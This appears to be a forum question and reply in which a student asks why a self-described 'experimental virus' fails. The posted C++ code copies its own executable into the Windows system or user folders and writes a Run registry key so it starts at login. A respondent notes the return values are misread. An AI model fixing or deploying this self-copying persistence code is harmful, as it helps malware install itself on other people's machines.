I'm writing an experimental virus for my school project. It should copy itself, start itself.. I started with this article, and I came to this:
#include <windows.h> #include <iostream> #include <tchar.h> #include <stdio.h> using namespace std; void main() { wchar_t system[MAX_PATH]; wchar_t user[MAX_PATH]; wchar_t pathtofile[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL); DWORD bufSize = MAX_PATH; GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile)); GetSystemDirectory(system, sizeof(system)); std::wstring s(system); s += std::wstring(L"\\virus.exe"); WCHAR* sysfull = &s[0]; if(!CopyFile(pathtofile, sysfull, false)) { sysfull = L"C:\\Users\\Public\\virus.exe"; if(!CopyFile(pathtofile, sysfull, false)) { GetUserName(user, &bufSize); std::wstring u(L"C:\\Users\\"); u += std::wstring(user); u += std::wstring(L"\\Documents\\virus.exe"); sysfull = &u[0]; CopyFile(pathtofile, sysfull, false); } } HKEY hKey; bool t = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey ); bool t1 = RegSetValueEx(hKey, L"Writing to the Registry Example", 0, REG_SZ, (const unsigned char*)sysfull, sizeof(system)); RegCloseKey(hKey); MessageBox(NULL,L"Hello",L"Messagebox Example",MB_OK); } The problem is when I look in regedit under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run there is no new key. RegOpenKeyEx and RegSetValueEx return true, and everything seems to be working fine, but it isn't, and I have no idea why.
I'm on Windows 8 and using VS12.
void mainisn't legal C++. Secondly, read the docs more closely. They don't even have a boolean return type, so I don't know where you got true from, but if one did, it would mean failure.